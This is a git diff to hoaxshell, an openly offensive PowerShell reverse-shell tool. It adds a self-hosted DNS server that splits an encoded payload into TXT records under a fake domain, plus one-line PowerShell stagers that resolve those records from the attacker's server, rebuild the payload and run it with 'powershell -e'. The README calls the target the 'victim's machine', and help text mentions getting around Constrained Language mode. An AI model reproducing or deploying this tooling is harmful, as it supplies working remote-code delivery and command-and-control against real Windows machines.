diff --git a/README.md b/README.md index 763c525..5012cee 100644 --- a/README.md +++ b/README.md @@ -111,6 +111,37 @@ Use `-lt` or `--localtunnel` for LocalTunnel server sudo python3 hoaxshell.py -lt ``` +### Using a self-hosted DNS server, transmit the payload via fake domain + +Use `-dns` or `--dns-server` to start a **DNS server** on port `53`. On the victim's computer, the DNS payload will be executed, and the chunks of **TXT** records will be received to construct the actual payload. The DNS server will also attempt to resolve the fake domain name provided with the `-d` argument and will return the fake/false information. This way, you can use a fake domain name to transmit the payload to the victim machine. + +Use `-dns` or `--dns-server` to start the server. +There are some required arguments for this mode: + +| Argument | Description | +| --- | --- | +| `-s` / `--server-ip` | Your server IP | +|`-d` / `--domain` | The fake domain name to be used. | +|`-udp` / `--udp` | The UDP based server to be used for DNS queries. | +|`-tcp` / `--tcp` | The TCP based server to be used for DNS queries. | + +#### **Examples:** +For UDP based DNS server: +``` +sudo python3 hoaxshell.py -s -dns -d -udp +``` +For TCP based DNS server: +``` +sudo python3 hoaxshell.py -s -dns -d -tcp +``` +For both UDP and TCP based DNS servers at a time: +``` +sudo python3 hoaxshell.py -s -dns -d -udp -tcp +``` + +***Note:** Due to the limitation that PowerShell's `Resolve-DnsName` cmdlet does not support custom ports. This feature will only work if you have port **53** open on your server. Therefore, you cannot use it with any tunneling option. (`-lt` or `-ng`)* + + ## Limitations The shell is going to hang if you execute a command that initiates an interactive session. Example: ``` @@ -149,6 +180,7 @@ Some awesome people were kind enough to send me/publish PoC videos of executing ## News +- `2022-10-24` - Added `-dns` option to start a self-hosted **DNS server** that will serve the payload to the victim's machine using DNS resolution. This way, you can use a fake domain name to transmit the payload to the victim machine. - `13/10/2022` - Added constraint language mode support (-cm) option. - `08/10/2022` - Added the `-ng` and `-lt` options that generate PS payloads for obtaining sessions using tunnelling tools **ngrok** or **localtunnel** in order to get around limitations like Static IP addresses and Port-Forwarding. - `06/09/2022` - A new payload was added that writes the commands to be executed in a file instead of utilizing `Invoke-Expression`. To use this, the user must provide a .ps1 file name (absolute path) on the victim machine using the `-x` option. diff --git a/hoaxshell.py b/hoaxshell.py index fc533b3..83b38c5 100644 --- a/hoaxshell.py +++ b/hoaxshell.py @@ -16,6 +16,10 @@ from string import ascii_uppercase, ascii_lowercase from platform import system as get_system_type from random import randint +import socketserver +import struct +from textwrap import wrap +from dnslib import * filterwarnings("ignore", category = DeprecationWarning) @@ -83,6 +87,18 @@ def chill(): sudo python3 hoaxshell.py -ng + - Use a self hosted DNS server to send the payload using domain TXT records: + + # Make sure you're allowed to use port 53 and forwarding is enabled to use this feature. + + # For UDP based DNS servers: + sudo python3 hoaxshell.py -s -dns -d -udp + + # For TCP based DNS servers: + sudo python3 hoaxshell.py -s -dns -d -tcp + + # For both UDP and TCP based DNS servers: + sudo python3 hoaxshell.py -s -dns -d -tcp -udp ''' ) @@ -103,6 +119,10 @@ def chill(): parser.add_argument("-cm", "--constraint-mode", action="store_true", help="Generate a payload that works even if the victim is configured to run PS in Constraint Language mode. By using this option, you sacrifice a bit of your reverse shell's stdout decoding accuracy.") parser.add_argument("-lt", "--localtunnel", action="store_true", help="Generate Payload with localtunnel") parser.add_argument("-ng", "--ngrok", action="store_true",help="Generate Payload with Ngrok") +parser.add_argument("-dns", "--dns-server", action="store_true", help="Transmit payload over DNS server.") +parser.add_argument("-d", "--domain", action="store", help="Fake domain name for DNS server - only used with -dns") +parser.add_argument("-tcp","--tcp", action="store_true", help="Start dns server in tcp mode - only used with -dns") +parser.add_argument("-udp","--udp", action="store_true", help="Start dns server in udp mode - only used with -dns") parser.add_argument("-u", "--update", action="store_true", help = "Pull the latest version from the original repo.") parser.add_argument("-q", "--quiet", action="store_true", help = "Do not print the banner on startup.") @@ -182,10 +202,43 @@ def promptHelpMsg(): def encodePayload(payload): - enc_payload = "powershell -e " + base64.b64encode(payload.encode('utf16')[2:]).decode() - print(f'{PLOAD}{enc_payload}{END}') + '''Encoded Paylaod''' + enc_payload = base64.b64encode(payload.encode('utf16')[2:]).decode() + return enc_payload +def generateDNSPayload(enc_payload): + '''Encoded Paylaod''' + DNSserver.prepare(enc_payload) + range = DNSserver.get_range() # Payload chunk counts for subdomain generation + #starting DNS server + try: + DNSserver.start() + except OSError as error: + if error.errno == 98: + exit(f'\n[{FAILED}] - {BOLD}Port 53 seems to already be in use.{END}\n') + elif error.errno == 13: + exit(f'\n[{FAILED}] - {BOLD}Permission denied. Try running as root (with sudo).{END}\n') + else: + exit(f'\n[{FAILED}] - {BOLD}{error}{END}\n') + + #Payload if both TCP and UDP servers are running + if not (args.tcp and args.udp): + DnsPayload = open(f'{cwd}/payload_templates/payload_dns_udp.ps1', 'r') if not args.tcp else open( + f'{cwd}/payload_templates/payload_dns_tcp.ps1', 'r') + + payload = DnsPayload.read().strip() + DnsPayload.close() + else: + TcpPayload = open(f'{cwd}/payload_templates/payload_dns_tcp.ps1', 'r').read().strip() + UdpPayload = open(f'{cwd}/payload_templates/payload_dns_udp.ps1', 'r').read().strip() + + payload = f'{END}[{INFO}] Payload for {MAIN}TCP{END} baesd DNS Lookup\n{PLOAD}{TcpPayload}{END}\n{END}[{INFO}] Payload for {MAIN}UDP{END} baesd DNS Lookup\n{PLOAD}{UdpPayload}{END}' + + payload = payload.replace('*SERVERIP*', args.server_ip).replace( + '*DOMAIN*', args.domain).replace('*RANGE*', str(range)) + + return payload def is_valid_uuid(value): @@ -307,6 +360,146 @@ def terminate(self): self.process.kill() #Terminate running tunnel process print(f'\r[{WARN}] Tunnel terminated.') +#--------------- DNS Server ------------------- # + +class DNSServer: + '''DNS Server''' + def __init__(self, domain): + self.domain = domain + self.IP = '127.0.0.1' + self.TTL = 60 * 5 + self.records = {} + self.ns_records = None + self.soa_record = None + self.range = None + + def prepare(self, payload): + '''Prepare DNS Server Records''' + TXT_PAYLAOD = wrap(payload, 255) # TXT records have limit of 255 characters + self.range = len(TXT_PAYLAOD) + for i, txt_record in enumerate(TXT_PAYLAOD): + + SubDomain = DomainName('{}.{}'.format(i+1, self.domain)) + self.soa_record = SOA( + mname=SubDomain.ns1, # primary name server + rname=SubDomain.magnito, # email of the domain administrator + times=( + 201307231, # serial number + 60 * 60 * 1, # refresh + 60 * 60 * 3, # retry + 60 * 60 * 24, # expire + 60 * 60 * 1, # minimum + ) + ) + self.ns_records = [NS(SubDomain.ns1), NS(SubDomain.ns2)] + self.records.update({ + SubDomain: [A(self.IP), AAAA((0,) * 16), MX(SubDomain.mail), TXT(txt_record), self.soa_record] + self.ns_records, + # MX and NS records must never point to a CNAME alias (RFC 2181 section 10.3) + SubDomain.ns1: [A(self.IP)], + SubDomain.ns2: [A(self.IP)], + SubDomain.mail: [A(self.IP)], + SubDomain.andrei: [CNAME(SubDomain)], + }) + + def get_range(self): + '''Subdomain Ranges''' + return self.range + + def start(self): + '''Start DNS Server''' + servers = [] + + if args.udp: + servers.append(socketserver.ThreadingUDPServer( + ('', 53), UDPRequestHandler)) + if args.tcp: + servers.append(socketserver.ThreadingTCPServer( + ('', 53), TCPRequestHandler)) + + for s in servers: + # that thread will start one more thread for each request + thread = Thread(target=s.serve_forever) + thread.daemon = True # exit the server thread when the main thread terminates + thread.start() + print(f"[{INFO}] DNS {ORANGE}{s.RequestHandlerClass.__name__[:3]}{END} server loop running in thread: {ORANGE}{thread.name}{END}") + + +class DomainName(str): + '''Domain Name''' + def __getattr__(self, item): + return DomainName(item + '.' + self) + + +class BaseRequestHandler(socketserver.BaseRequestHandler): + '''Base Request Handler''' + + def get_data(self): + raise NotImplementedError + + def send_data(self, data): + raise NotImplementedError + + def handle(self): + try: + data = self.get_data() + self.send_data(self.dns_response(data)) + except Exception: + pass + + def dns_response(self, data): + request = DNSRecord.parse(data) + + reply = DNSRecord(DNSHeader(id=request.header.id, + qr=1, aa=1, ra=1), q=request.q) + + qname = request.q.qname + qn = str(qname) + qtype = request.q.qtype + qt = QTYPE[qtype] + + if qn == DNSserver.domain or qn.endswith('.' + DNSserver.domain): + + for name, rrs in DNSserver.records.items(): + if name == qn: + for rdata in rrs: + rqt = rdata.__class__.__name__ + if qt in ['*', rqt]: + reply.add_answer(RR(rname=qname, rtype=getattr( + QTYPE, rqt), rclass=1, ttl=DNSserver.TTL, rdata=rdata)) + + for rdata in DNSserver.ns_records: + reply.add_ar(RR(rname=qn, rtype=QTYPE.NS, + rclass=1, ttl=DNSserver.TTL, rdata=rdata)) + + reply.add_auth(RR(rname=qn, rtype=QTYPE.SOA, + rclass=1, ttl=DNSserver.TTL, rdata=DNSserver.soa_record)) + + return reply.pack() + + +class TCPRequestHandler(BaseRequestHandler): + + def get_data(self): + data = self.request.recv(8192).strip() + sz = struct.unpack('>H', data[:2])[0] + if sz < len(data) - 2: + raise Exception("Wrong size of TCP packet") + elif sz > len(data) - 2: + raise Exception("Too big TCP packet") + return data[2:] + + def send_data(self, data): + sz = struct.pack('>H', len(data)) + return self.request.sendall(sz + data) + + +class UDPRequestHandler(BaseRequestHandler): + + def get_data(self): + return self.request[0].strip() + + def send_data(self, data): + return self.request[1].sendto(data, self.client_address) # -------------- Hoaxshell Server -------------- # class Hoaxshell(BaseHTTPRequestHandler): @@ -328,7 +521,7 @@ class Hoaxshell(BaseHTTPRequestHandler): def cmd_output_interpreter(self, output, constraint_mode = False): - + global prompt try: @@ -454,8 +647,9 @@ def do_GET(self): def do_POST(self): - + global prompt + timestamp = int(datetime.now().timestamp()) Hoaxshell.last_received = timestamp self.server_version = Hoaxshell.server_version @@ -545,6 +739,7 @@ def terminate(): def main(): + global prompt, cwd, DNSserver, t_process try: chill() if quiet else print_banner() cwd = path.dirname(path.abspath(__file__)) @@ -587,6 +782,15 @@ def main(): elif not args.server_ip and not args.update and not (args.localtunnel or args.ngrok): exit_with_msg('Local host ip or Tunnel not provided (use -s for IP / -lt or -ng for Tunneling)') + elif any([args.dns_server, args.domain, args.tcp, args.udp]) and (args.localtunnel or args.ngrok): + exit_with_msg('DNS server\'s paramenters can only be used with Local server (-s) not with localtunnel (-lt) or ngrok (-ng)') + + elif args.dns_server and not any([args.domain, args.tcp, args.udp]): + exit_with_msg('DNS server must be used with Domain (-d) and protocol(s) -tcp and/or -udp') + + elif any([args.domain, args.tcp, args.udp]) and not args.dns_server: + exit_with_msg('DNS server not provided (use -dns for DNS server)') + else: if not args.trusted_domain and not (args.localtunnel or args.ngrok): # Check if provided ip is valid @@ -604,8 +808,14 @@ def main(): for char in args.Header: if char not in valid: exit_with_msg('Header name includes illegal characters.') - - + # DNS server + if args.dns_server and not (args.localtunnel or args.ngrok): + if not args.domain or not (args.tcp or args.udp): + exit_with_msg('DNS server requires a domain name (-d, --domain) and a valid protocol (--tcp or --udp).') + + DNSserver = DNSServer((args.domain if args.domain.endswith('.') else args.domain+'.')) + + # Check if http/https if ssl_support: server_port = int(args.port) if args.port else 443 @@ -616,7 +826,6 @@ def main(): server_ip = f'{args.server_ip}:{server_port}' # Tunneling - global t_process tunneling = False if args.localtunnel or args.ngrok: @@ -701,8 +910,19 @@ def main(): payload = payload.replace(var, f'${obf}') - - encodePayload(payload) if not args.raw_payload else print(f'{PLOAD}{payload}{END}') + enc_payload = encodePayload(payload) + + if args.raw_payload: + print(f'{PLOAD}{payload}{END}') + + elif args.dns_server: + payload = generateDNSPayload(enc_payload) + print(f'{PLOAD}{payload}{END}') + + else: + payload = "powershell -e "+enc_payload + print(f'{PLOAD}{payload}{END}') + print(f'[{INFO}] Tunneling [{BOLD}{ORANGE}ON{END}]') if tunneling else chill() @@ -731,7 +951,7 @@ def main(): system('clear') elif user_input.lower() in ['payload']: - encodePayload(payload) + print(f'{PLOAD}{payload}{END}') elif user_input.lower() in ['rawpayload']: print(f'{PLOAD}{payload}{END}') diff --git a/payload_templates/payload_dns_tcp.ps1 b/payload_templates/payload_dns_tcp.ps1 new file mode 100644 index 0000000..a0368be --- /dev/null +++ b/payload_templates/payload_dns_tcp.ps1 @@ -0,0 +1 @@ +$b64=""; (1..*RANGE*) | ForEach-Object { $b64+=(Resolve-DnsName -Name "$_.*DOMAIN*" -Server *SERVERIP* -Type txt -TcpOnly | Select-Object -expand Strings -Erroraction Ignore)}; powershell -e $b64 \ No newline at end of file diff --git a/payload_templates/payload_dns_udp.ps1 b/payload_templates/payload_dns_udp.ps1 new file mode 100644 index 0000000..fcaec6b --- /dev/null +++ b/payload_templates/payload_dns_udp.ps1 @@ -0,0 +1 @@ +$b64=""; (1..*RANGE*) | ForEach-Object { $b64+=(Resolve-DnsName -Name "$_.*DOMAIN*" -Server *SERVERIP* -Type txt | Select-Object -expand Strings -Erroraction Ignore)}; powershell -e $b64 \ No newline at end of file diff --git a/requirements.txt b/requirements.txt index f0476a4..f74f124 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,2 +1,3 @@ gnureadline==8.1.2 ipython==8.4.0 +dnslib \ No newline at end of file